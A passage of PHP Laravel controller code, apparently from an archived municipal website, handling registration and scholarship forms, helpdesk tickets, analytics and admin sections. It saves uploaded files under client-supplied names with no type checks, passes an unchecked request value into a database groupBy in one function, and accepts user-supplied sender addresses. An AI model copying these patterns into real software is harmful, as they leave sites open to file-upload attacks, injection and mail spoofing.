$request->id."\n". trans('frontLang.phone').":".$request->phone."\n". trans('backLang.address').":". $request->address. "\n ". trans('backLang.pupilRegInfo')."\n". trans("backLang.pupilName").":".$request->cname."\n". trans("backLang.pupilbirthday").":".$request->birthday."\n". trans("backLang.pupilSex").":".$request->sex."\n". trans('backLang.kindergartenInfo')."\n". trans("backLang.Year").":".$request->year."\n". trans("backLang.Hood").":".$request->hood."\n". trans("backLang.Gname").":".$request->Gname."\n". trans("backLang.notes").":". $request->kindergartenFormNotes; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->email; $Webmail->from_name = $request->pname; $Webmail->from_phone = $request->phone; $Webmail->to_email = $WebsiteSettings->site_webmails; $Webmail->to_name = $WebsiteSettings->$site_title_var; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); // SEND Notification Email $msg_details = trans("backLang.notificationReg") . $request->id . "
" . $request->pname; if ($WebsiteSettings->notify_orders_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', ['title' => trans("backLang.notificationReg")." :" . $tpc_title, 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title) { $message->from(env('NO_REPLAY_EMAIL', $request->email), $request->pname); $message->to($request->email); $message->replyTo($request->email, $site_title); $message->subject(trans("backLang.notificationSubject") . $tpc_title); }); } } $User = User::find(1); // Log::emergency( "get_notifications: ". $admin); if( $User->get_notifications){ if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', ['title' => trans("backLang.notificationReg")." :" . $tpc_title, 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title,$User) { $message->from(env('NO_REPLAY_EMAIL', $request->email), $request->pname); $message->to($User->email); $message->replyTo($request->email, $site_title); $message->subject(trans("backLang.notificationSubject") . $tpc_title); }); } } } return "OK"; } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function applicationSubmit(Request $request) { $this->validate($request, [ 'pname' => 'required', 'fname' => 'required', 'phone' => 'required', 'email' => 'required', ]); $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $Topic = Topic::where('status', 1)->find($request->topic_id); if (!empty($Topic) ) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->contact_id = null; $Webmail->father_id = null; $Webmail->title =trans("backLang.applicationSubmitSubject"); $Webmail->details = $request->pname. " ".$request->fname. " ".trans("backLang.applicationSubmitBackend"); $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->email; $Webmail->from_name = $request->pname. " ".$request->fname; $Webmail->from_phone = $request->phone; $Webmail->to_email = $WebsiteSettings->site_webmails; $Webmail->to_name = $WebsiteSettings->$site_title_var; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); $path ="uploads/inbox/"; // echo "path: ".$path; // $file=$request->UploadedFile(); if($request->hasfile('residencePermitFile')){ $residencePermitFile = $request->file('residencePermitFile'); $filename=$residencePermitFile->getClientOriginalName(); $upload_success = $residencePermitFile->move($path, $filename); // save in DB $WebmailsFile = new WebmailsFile; $WebmailsFile->webmail_id = $Webmail->id; $WebmailsFile->file = $filename; $WebmailsFile->save(); } if($request->hasfile('file2')){ $file2 = $request->file('file2'); $filename=$file2->getClientOriginalName(); $upload_success = $file2->move($path, $filename); // save in DB $WebmailsFile = new WebmailsFile; $WebmailsFile->webmail_id = $Webmail->id; $WebmailsFile->file = $filename; $WebmailsFile->save(); } if($request->hasfile('file3')){ $file3 = $request->file('file3'); $filename=$file3->getClientOriginalName(); $upload_success = $file3->move($path, $filename); // save in DB $WebmailsFile = new WebmailsFile; $WebmailsFile->webmail_id = $Webmail->id; $WebmailsFile->file = $filename; $WebmailsFile->save(); } // SEND Notification Email $msg_details = trans("backLang.applicationSubmitMsg"); if ($WebsiteSettings->notify_orders_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => trans("backLang.applicationSubmitSubject"), 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title) { $message->from(env('NO_REPLAY_EMAIL', $site_email), $site_title); $message->to($request->email); $message->replyTo($request->email, $site_title); $message->subject(trans("backLang.applicationSubmitSubject") ); if($request->hasfile('residencePermitFile')) $message->attach("uploads/inbox/".$request->file('residencePermitFile')->getClientOriginalName()); if($request->hasfile('file2')) $message->attach("uploads/inbox/".$request->file('file2')->getClientOriginalName()); if($request->hasfile('file3')) $message->attach("uploads/inbox/".$request->file('file3')->getClientOriginalName()); }); } } } // SEND Notification Email to the Admin if he choose to // $msg_details = trans("backLang.applicationSubmitMsg"); $User = User::find(1); // Log::emergency( "get_notifications: ". $admin); if( $User->get_notifications){ // Log::emergency( "user-Email: ". $User->connect_email); if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => trans("backLang.applicationSubmitSubject"), 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title,$User) { $message->from(env('NO_REPLAY_EMAIL', $site_email), $site_title); $message->to($User->email); $message->replyTo($User->email, $site_title); $message->subject(trans("backLang.applicationSubmitSubject") ); if($request->hasfile('residencePermitFile')) $message->attach("uploads/inbox/".$request->file('residencePermitFile')->getClientOriginalName()); if($request->hasfile('file2')) $message->attach("uploads/inbox/".$request->file('file2')->getClientOriginalName()); if($request->hasfile('file3')) $message->attach("uploads/inbox/".$request->file('file3')->getClientOriginalName()); }); } } return "OK"; } public function schoolerShipFormSubmit(Request $request) { $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $path ="uploads/inbox/"; $Topic = Topic::where('status', 1)->find($request->topic_id); if (!empty($Topic) ) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->contact_id = null; $Webmail->father_id = null; $Webmail->title = $request->pname." ".$request->fname . ", id=" . $request->idNumber ; $Webmail->details = trans('frontLang.schoolership')."\n". trans('frontLang.pName').":".$request->pname."\n". trans('frontLang.fName').":".$request->fname."\n". trans('frontLang.idNumber').":". $request->idNumber."\n". trans('frontLang.chooseSex').":".$request->sex."\n". trans('frontLang.MaritalStatus').":". $request->MaritalStatus. "\n ". trans('frontLang.phone').":". $request->phone. "\n ". trans('frontLang.email').":". $request->email. "\n ". trans('frontLang.birthday').":". $request->birthday. "\n ". trans('frontLang.gotSchoolerShip').":".$request->get(trans('frontLang.iGotSchoolerShip'),0)."\n ". trans("frontLang.schoolerShipSum").":".$request->schoolerShipSum."\n". "\n".trans('frontLang.study')."\n". trans("frontLang.institute").":".$request->institute."\n". trans("frontLang.studyStart").":".$request->studyStart."\n". trans("frontLang.studySubject").":".$request->studySubject."\n". trans("frontLang.degree").":".$request->degree."\n". "\n".trans('frontLang.familyInfo')."\n". trans("frontLang.fatherName").":".$request->fatherName."\n". trans("frontLang.fatherId").":".$request->fatherId."\n". trans("frontLang.motherName").":".$request->motherName."\n". trans("frontLang.motherId").":".$request->motherId."\n". trans("frontLang.brotherscountUnder21").":".$request->brotherscountUnder21."\n". trans("frontLang.studentbrothers").":".$request->studentbrothers."\n". $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->email; $Webmail->from_name = $request->pname; $Webmail->from_phone = $request->phone; $Webmail->to_email = "tech1@lasega.com"; $Webmail->to_name = $WebsiteSettings->$site_title_var; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); if($request->hasfile('IDFile')){ $IDFile = $request->file('IDFile'); $filename=$IDFile->getClientOriginalName(); $upload_success = $IDFile->move($path, $filename); } if($request->hasfile('employmentstatusFile')){ $employmentstatusFile = $request->file('employmentstatusFile'); $filename=$employmentstatusFile->getClientOriginalName(); $upload_success = $employmentstatusFile->move($path, $filename); } if($request->hasfile('studyfile')){ $studyfile = $request->file('studyfile'); $filename=$studyfile->getClientOriginalName(); $upload_success = $studyfile->move($path, $filename); } if($request->hasfile('studySalaryFile')){ $studySalaryFile = $request->file('studySalaryFile'); $filename=$studySalaryFile->getClientOriginalName(); $upload_success = $studySalaryFile->move($path, $filename); } if($request->hasfile('CollectionDepartmentApproval')){ $CollectionDepartmentApproval = $request->file('CollectionDepartmentApproval'); $filename=$CollectionDepartmentApproval->getClientOriginalName(); $upload_success = $CollectionDepartmentApproval->move($path, $filename); } if($request->hasfile('notworkingfather')){ $notworkingfather = $request->file('notworkingfather'); $filename=$notworkingfather->getClientOriginalName(); $upload_success = $notworkingfather->move($path, $filename); } if($request->hasfile('notworkingmother')){ $notworkingmother = $request->file('notworkingmother'); $filename=$notworkingmother->getClientOriginalName(); $upload_success = $notworkingmother->move($path, $filename); } if($request->hasfile('disabilityparent1')){ $disabilityparent1 = $request->file('disabilityparent1'); $filename=$disabilityparent1->getClientOriginalName(); $upload_success = $disabilityparent1->move($path, $filename); } if($request->hasfile('disabilityparent2')){ $disabilityparent2 = $request->file('disabilityparent2'); $filename=$disabilityparent2->getClientOriginalName(); $upload_success = $disabilityparent2->move($path, $filename); } // SEND Notification Email $msg_details = trans('frontLang.schoolership')."\n". trans('frontLang.pName').":".$request->pname."\n". trans('frontLang.fName').":".$request->fname."\n". trans('frontLang.idNumber').":". $request->idNumber."\n". trans('frontLang.chooseSex').":".$request->sex."\n". trans('frontLang.MaritalStatus').":". $request->MaritalStatus. "\n ". trans('frontLang.phone').":". $request->phone. "\n ". trans('frontLang.email').":". $request->email. "\n ". trans('frontLang.birthday').":". $request->birthday. "\n ". trans('frontLang.gotSchoolerShip').":".$request->iGotSchoolerShip."\n ". trans("frontLang.schoolerShipSum").":".$request->schoolerShipSum."\n" ."\n".trans('frontLang.study')."\n". trans("frontLang.institute").":".$request->institute."\n". trans("frontLang.studyStart").":".$request->studyStart."\n". trans("frontLang.studySubject").":".$request->studySubject."\n". trans("frontLang.degree").":".$request->degree."\n". trans('frontLang.familyInfo')."\n". trans("frontLang.fatherName").":".$request->fatherName."\n". trans("frontLang.fatherId").":".$request->fatherId."\n". trans("frontLang.motherName").":".$request->motherName."\n". trans("frontLang.motherId").":".$request->motherId."\n". trans("frontLang.brotherscountUnder21").":".$request->brotherscountUnder21."\n". trans("frontLang.studentbrothers").":".$request->studentbrothers."\n"; $subject=$request->pname." ".$request->fname . ", id=" . $request->idNumber; if ($WebsiteSettings->notify_orders_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', ['title' => $request->pname." ".$request->fname . ", id=" . $request->idNumber, 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title,$subject) { $message->from($request->email); $message->to( "project.manager@shaab.muni.il"); $message->replyTo($request->email); $message->subject($subject); if($request->hasfile('IDFile')) $message->attach("uploads/inbox/".$request->file('IDFile')->getClientOriginalName()); if($request->hasfile('employmentstatusFile')) $message->attach("uploads/inbox/".$request->file('employmentstatusFile')->getClientOriginalName()); if($request->hasfile('studyfile')) $message->attach("uploads/inbox/".$request->file('studyfile')->getClientOriginalName()); if($request->hasfile('studySalaryFile')) $message->attach("uploads/inbox/".$request->file('studySalaryFile')->getClientOriginalName()); if($request->hasfile('CollectionDepartmentApproval')) $message->attach("uploads/inbox/".$request->file('CollectionDepartmentApproval')->getClientOriginalName()); if($request->hasfile('notworkingfather')) $message->attach("uploads/inbox/".$request->file('notworkingfather')->getClientOriginalName()); if($request->hasfile('notworkingmother')) $message->attach("uploads/inbox/".$request->file('notworkingmother')->getClientOriginalName()); if($request->hasfile('disabilityparent1')) $message->attach("uploads/inbox/".$request->file('disabilityparent1')->getClientOriginalName()); if($request->hasfile('disabilityparent2')) $message->attach("uploads/inbox/".$request->file('disabilityparent2')->getClientOriginalName()); }); } } $User = User::find(1); // Log::emergency( "get_notifications: ". $admin); if( $User->get_notifications){ if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', ['title' => trans("backLang.notificationReg")." :" . $tpc_title, 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title,$User) { $message->from(env('NO_REPLAY_EMAIL', $request->email), $request->pname); $message->to($User->email); $message->replyTo($request->email, $site_title); $message->subject(trans("backLang.notificationSubject") . $tpc_title); }); } } } return "OK"; } public function newTicket() { return $this->newTicketByLnag(""); } public function newTicketByLnag($lang = "") { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } $WebmasterSettings = WebmasterSetting::find(1); $WebsiteSettings = Setting::find(1); $HeaderShortcutBanners = Banner::where('section_id', $WebmasterSettings->Header_banners_section_id)->where( 'status', 1 )->orderby('row_no', 'desc')->get(); $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); //Get the last update topics in the holl table $AllTopics = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['expire_date', null]])->orderby('id', 'desc')->limit(9)->get(); $client = new \GuzzleHttp\Client(); try{ $request = $client->get('https://crm.shaab.muni.il/public/api/v1/helpdesk/help-topics'); }catch(Exception $e){ } $response = json_decode($request->getBody()->getContents(), true); $PageTitle = ""; $PageDescription = ""; $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father)) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $PageKeywords = $WebsiteSettings->$site_keywords_var; $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'desc')->limit(1)->get(); $newTicketResponse = null; return view( "frontEnd.ticket", compact( 'response', 'PageTitle', 'PageDescription', 'PageKeywords', 'WebmasterSettings', 'HeaderShortcutBanners', 'LatestNews', 'FooterMenuLinks_name_ar', 'FooterMenuLinks_name_he', 'FooterMenuLinks_name_en', 'WebsiteSettings', 'newTicketResponse' ) ); } public function submitNewTicket(Request $request) { $data = $request->validate([ 'fname' => 'required', 'lastName' => 'required', 'email' => 'required|email', 'cell_phone' => 'required', 'title' => 'required', 'uploads' => 'mimes:png,jpeg,jpg,gif,pdf|max:3000' ]); $client = new \GuzzleHttp\Client(); $dataToSend[0] = array( 'name' => 'first_name', 'contents' => $request->fname ); $dataToSend[1] = array( 'name' => 'last_name', 'contents' => $request->lastName ); $dataToSend[2] = array( 'name' => 'email', 'contents' => $request->email ); $dataToSend[3] = array( 'name' => 'phone', 'contents' => $request->phone ); $dataToSend[4] = array( 'name' => 'cell_phone', 'contents' => $request->cell_phone ); $dataToSend[5] = array( 'name' => 'helptopic', 'contents' => 1 ); $dataToSend[6] = array( 'name' => 'subject', 'contents' => $request->title ); $dataToSend[7] = array( 'name' => 'body', 'contents' => $request->message ); $dataToSend[8] = array( 'name' => ' priority', 'contents' => 2 ); $dataToSend[9] = array( 'name' => 'sla', 'contents' => 1 ); $dataToSend[10] = array( 'name' => 'code', 'contents' => 972 ); $dataToSend[11] = array( 'name' => 'source', 'contents' => 1 ); if ($request->hasFile('uploads')) { $file = $request->file('uploads'); $path = base_path() . "/storage/app/public/crm/"; $fileName = ""; $files = $request->file('uploads'); $fileName = $file->getClientOriginalName(); $file->move($path, $fileName); // foreach ($files as $file) { // $file->move($path, $file->getClientOriginalName()); //} $dataToSend[12] = array( 'name' => 'attachments', 'contents' => fopen($path . $fileName, 'r'), 'filename' => $fileName ); } $newTicketResponse = $client->post('https://crm.shaab.muni.il/public/api/v1/helpdesk/create-ticket', ['multipart' => $dataToSend]); $responses = json_decode($newTicketResponse->getBody()->getContents(), true); $ticketNumber = ''; foreach ($responses as $response) { $ticketNumber = $response['ticketnumber']; } return redirect()->action('FrontendHomeController@newTicket')->with( [ 'doneMessage' => trans('backLang.teckitSubmitdoneMessage'), 'ticketnumber' => $ticketNumber, 'trackTeckitMessage' => trans('backLang.trackTeckitMessage'), ] ); } } PKVZ\˹++(Http/Controllers/AnalyticsController.phpnu[middleware('auth'); // Check Permissions if (!@Auth::user()->permissionsGroup->analytics_status) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * string $stat * @return \Illuminate\Http\Response */ public function index($stat = "date") { // check @stat var $analyticsVars = array("date", "country", "city", "os", "browser", "referrer", "hostname", "org"); if (!in_array($stat, $analyticsVars)) { return redirect()->action('AnalyticsController@index'); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List Min & Max $AnalyticsMin = AnalyticsVisitor::min("date"); $AnalyticsMax = AnalyticsVisitor::max("date"); $daterangepicker_start = date('Y-m-d', strtotime('-29 day')); $daterangepicker_end = date('Y-m-d'); $daterangepicker_start_text = date("F d , Y", strtotime($daterangepicker_start)); $daterangepicker_end_text = date("F d , Y", strtotime($daterangepicker_end)); $min_visitor_date = date('d-m-Y', strtotime('-29 day')); if ($AnalyticsMin != "") { $min_visitor_date = date('d-m-Y', strtotime($AnalyticsMin)); } $max_visitor_date = date('d-m-Y'); if ($AnalyticsMax != "") { $max_visitor_date = date('d-m-Y', strtotime($AnalyticsMax)); } $AnalyticsValues = array(); $AnalyticsVisitors = AnalyticsVisitor::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->groupBy($stat) ->orderBy($stat, 'asc') ->get(); $ix = 0; foreach ($AnalyticsVisitors as $AnalyticsV) { $TotalV = AnalyticsVisitor::where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end)->count(); $AllVArray = AnalyticsVisitor::select('id')->where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->get() ->toArray(); $TotalP = AnalyticsPage::whereIn("visitor_id", $AllVArray)->count(); $newdata = array( 'name' => $AnalyticsV->$stat, 'visits' => $TotalV, 'pages' => $TotalP ); array_push($AnalyticsValues, $newdata); $ix++; } if ($stat == "date") { } else { usort($AnalyticsValues, function ($a, $b) { return $b['visits'] - $a['visits']; }); } $TotalVisitors = AnalyticsVisitor::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->count(); $TotalPages = AnalyticsPage::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->count(); if ($stat == "org") { $statText = "visitorsAnalyticsByOrganization"; } elseif ($stat == "hostname") { $statText = "visitorsAnalyticsByHostName"; } elseif ($stat == "referrer") { $statText = "visitorsAnalyticsByReachWay"; } elseif ($stat == "resolution") { $statText = "visitorsAnalyticsByScreenResolution"; } elseif ($stat == "browser") { $statText = "visitorsAnalyticsByBrowser"; } elseif ($stat == "os") { $statText = "visitorsAnalyticsByOperatingSystem"; } elseif ($stat == "country") { $statText = "visitorsAnalyticsByCountry"; } elseif ($stat == "city") { $statText = "visitorsAnalyticsByCity"; } else { $statText = "visitorsAnalyticsBydate"; } return view("backEnd.analytics", compact("GeneralWebmasterSections", "daterangepicker_start", "daterangepicker_end", "daterangepicker_start_text", "daterangepicker_end_text", "min_visitor_date", "max_visitor_date", "stat", "AnalyticsVisitors", "TotalVisitors", "TotalPages", "statText", "AnalyticsValues")); } /** * Display a listing of the resource. * string $stat * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function filter(Request $request, $stat = "date") { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List Min & Max $AnalyticsMin = AnalyticsVisitor::min("date"); $AnalyticsMax = AnalyticsVisitor::max("date"); $daterangepicker_start = date('Y-m-d', strtotime('-29 day')); if ($request->this_daterangepicker_start != "") { $daterangepicker_start = $request->this_daterangepicker_start; } $daterangepicker_end = date('Y-m-d'); if ($request->this_daterangepicker_end != "") { $daterangepicker_end = $request->this_daterangepicker_end; } $daterangepicker_start_text = date("F d , Y", strtotime($daterangepicker_start)); $daterangepicker_end_text = date("F d , Y", strtotime($daterangepicker_end)); $min_visitor_date = date('d-m-Y', strtotime('-29 day')); if ($AnalyticsMin != "") { $min_visitor_date = date('d-m-Y', strtotime($AnalyticsMin)); } $max_visitor_date = date('d-m-Y'); if ($AnalyticsMax != "") { $max_visitor_date = date('d-m-Y', strtotime($AnalyticsMax)); } $AnalyticsValues = array(); $AnalyticsVisitors = AnalyticsVisitor::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->groupBy($stat) ->orderBy($stat, 'asc') ->get(); $ix = 0; foreach ($AnalyticsVisitors as $AnalyticsV) { $TotalV = AnalyticsVisitor::where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end)->count(); $AllVArray = AnalyticsVisitor::select('id')->where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->get() ->toArray(); $TotalP = AnalyticsPage::whereIn("visitor_id", $AllVArray)->count(); $newdata = array( 'name' => $AnalyticsV->$stat, 'visits' => $TotalV, 'pages' => $TotalP ); array_push($AnalyticsValues, $newdata); $ix++; } if ($stat == "date") { } else { usort($AnalyticsValues, function ($a, $b) { return $b['visits'] - $a['visits']; }); } $TotalVisitors = AnalyticsVisitor::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->count(); $TotalPages = AnalyticsPage::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->count(); if ($stat == "org") { $statText = "visitorsAnalyticsByOrganization"; } elseif ($stat == "hostname") { $statText = "visitorsAnalyticsByHostName"; } elseif ($stat == "referrer") { $statText = "visitorsAnalyticsByReachWay"; } elseif ($stat == "resolution") { $statText = "visitorsAnalyticsByScreenResolution"; } elseif ($stat == "browser") { $statText = "visitorsAnalyticsByBrowser"; } elseif ($stat == "os") { $statText = "visitorsAnalyticsByOperatingSystem"; } elseif ($stat == "country") { $statText = "visitorsAnalyticsByCountry"; } elseif ($stat == "city") { $statText = "visitorsAnalyticsByCity"; } else { $statText = "visitorsAnalyticsBydate"; } return view("backEnd.analytics", compact("GeneralWebmasterSections", "daterangepicker_start", "daterangepicker_end", "daterangepicker_start_text", "daterangepicker_end_text", "min_visitor_date", "max_visitor_date", "stat", "AnalyticsVisitors", "TotalVisitors", "TotalPages", "statText", "AnalyticsValues")); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function visitors() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of Analytics Visitors $AnalyticsVisitors = AnalyticsVisitor::orderby('date', 'desc')->orderby('time', 'desc')->paginate(env('BACKEND_PAGINATION')); return view("backEnd.visitors", compact("GeneralWebmasterSections", "AnalyticsVisitors")); } /** * Display a listing of the resource. * string $ip_code * @return \Illuminate\Http\Response */ public function ip($ip_code = null) { // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of Analytics Visitors if ($ip_code != "") { $AnalyticsVisitors = AnalyticsVisitor::where('ip', $ip_code) ->orderby('id', 'desc')->get(); } else { $AnalyticsVisitors = ""; } return view("backEnd.ip", compact("GeneralWebmasterSections", "AnalyticsVisitors", "ip_code")); } /** * Search resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function search( Request $request ) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if ($request->ip != "") { $AnalyticsVisitors = AnalyticsVisitor::where('ip', $request->ip) ->orderby('id', 'desc')->get(); } else { $AnalyticsVisitors = ""; } $ip_code = $request->ip; return view("backEnd.ip", compact("GeneralWebmasterSections", "AnalyticsVisitors", "ip_code")); } } PKVZhMNMN0Http/Controllers/WebmasterSectionsController.phpnu[middleware('auth'); // Check Permissions if (@Auth::user()->permissions != 0) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $WebmasterSections = WebmasterSection::where('created_by', '=', Auth::user()->id)->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } else { $WebmasterSections = WebmasterSection::orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } return view("backEnd.webmaster.sections", compact("WebmasterSections", "GeneralWebmasterSections")); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END return view("backEnd.webmaster.sections.create", compact("GeneralWebmasterSections")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $next_nor_no = WebmasterSection::max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $WebmasterSection = new WebmasterSection; $WebmasterSection->row_no = $next_nor_no; $WebmasterSection->name = $request->name; $WebmasterSection->type = $request->type; $WebmasterSection->sections_status = $request->sections_status; $WebmasterSection->comments_status = $request->comments_status; $WebmasterSection->date_status = $request->date_status; $WebmasterSection->expire_date_status = $request->expire_date_status; $WebmasterSection->longtext_status = $request->longtext_status; $WebmasterSection->editor_status = $request->editor_status; $WebmasterSection->attach_file_status = $request->attach_file_status; $WebmasterSection->extra_attach_file_status = $request->extra_attach_file_status; $WebmasterSection->multi_images_status = $request->multi_images_status; $WebmasterSection->maps_status = $request->maps_status; $WebmasterSection->order_status = $request->order_status; $WebmasterSection->form_status = $request->form_status; $WebmasterSection->section_icon_status = $request->section_icon_status; $WebmasterSection->icon_status = $request->icon_status; $WebmasterSection->related_status = $request->related_status; $WebmasterSection->status = 1; $WebmasterSection->created_by = Auth::user()->id; //URL Slugs $slugs = Helper::URLSlug($request->name, $request->name, "section", 0); $WebmasterSection->seo_url_slug_ar = $slugs['slug_ar']; $WebmasterSection->seo_url_slug_he = $slugs['slug_he']; $WebmasterSection->seo_url_slug_en = $slugs['slug_en']; $WebmasterSection->save(); $Permissions = Permissions::find(Auth::user()->permissionsGroup->id); if (!empty($Permissions) ) { $Permissions->data_sections = $Permissions->data_sections . "," . $WebmasterSection->id; $Permissions->save(); } if (Auth::user()->permissionsGroup->id != 1) { $Permissions = Permissions::find(1); if (!empty($Permissions) ) { $Permissions->data_sections = $Permissions->data_sections . "," . $WebmasterSection->id; $Permissions->save(); } } return redirect()->action('WebmasterSectionsController@index')->with('doneMessage', trans('backLang.addDone')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END error_log($GeneralWebmasterSections); if (@Auth::user()->permissionsGroup->view_status) { $WebmasterSections = WebmasterSection::where('created_by', '=', Auth::user()->id)->find($id); } else { $WebmasterSections = WebmasterSection::find($id); } if (!empty($WebmasterSections) ) { return view("backEnd.webmaster.sections.edit", compact("WebmasterSections", "GeneralWebmasterSections")); } else { return redirect()->action('WebmasterSectionsController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // $WebmasterSection = WebmasterSection::find($id); if (!empty($WebmasterSection) ) { $WebmasterSection->name = $request->name; $WebmasterSection->type = $request->type; $WebmasterSection->sections_status = $request->sections_status; $WebmasterSection->comments_status = $request->comments_status; $WebmasterSection->date_status = $request->date_status; $WebmasterSection->expire_date_status = $request->expire_date_status; $WebmasterSection->longtext_status = $request->longtext_status; $WebmasterSection->editor_status = $request->editor_status; $WebmasterSection->attach_file_status = $request->attach_file_status; $WebmasterSection->extra_attach_file_status = $request->extra_attach_file_status; $WebmasterSection->multi_images_status = $request->multi_images_status; $WebmasterSection->maps_status = $request->maps_status; $WebmasterSection->order_status = $request->order_status; $WebmasterSection->form_status = $request->form_status; $WebmasterSection->section_icon_status = $request->section_icon_status; $WebmasterSection->icon_status = $request->icon_status; $WebmasterSection->related_status = $request->related_status; $WebmasterSection->status = $request->status; $WebmasterSection->updated_by = Auth::user()->id; $WebmasterSection->save(); return redirect()->action('WebmasterSectionsController@edit', $id)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('WebmasterSectionsController@index'); } } public function seo(Request $request, $id) { // $WebmasterSection = WebmasterSection::find($id); if (!empty($WebmasterSection) ) { $WebmasterSection->seo_title_ar = $request->seo_title_ar; $WebmasterSection->seo_title_he = $request->seo_title_he; $WebmasterSection->seo_title_en 